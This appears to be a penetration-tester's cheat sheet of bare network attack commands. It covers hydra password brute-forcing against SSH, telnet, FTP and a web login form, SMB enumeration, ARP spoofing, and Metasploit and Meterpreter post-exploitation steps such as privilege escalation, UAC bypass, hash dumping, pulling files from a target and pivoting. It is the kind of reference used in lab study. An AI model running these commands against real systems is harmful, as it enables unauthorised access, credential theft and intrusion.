Network Attacks

hydra -L users.txt -P pass.txt 10 10.10.10.10 ssh

hydra -L users.txt -P pass.txt telnet://10.10.10.10

hydra -L users.txt -P pass.txt ftp://10.10.10.10

hydra 10.10.10.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:statement for incorrect login" -L /usr/share/ncrack/minimal.usr -P /etc/john/rockyou.txt

nmblookup -A 10.10.10.10

smbclient -L //10.10.10.10 -N

smbclient //10.10.10.10/sharename -N

enum4linux -a 10.10.10.10

arpspoof -i <interface> -t target -r host

search <term>
use <term>
info
show options
set <option> x
exploit

background #backgrounds the current session
sessions -l
sessions -i %n
sysinfo
ifconfig, route
getuid
getsystem #windows privesc
bypassuac #if windows privesc fails
hashdump
cat '/path/to/file.txt'
download '/path/to/fileontarget.txt' /root/mymachine/

use post/multi/manage/autoroute
route add <subnet> <session-id>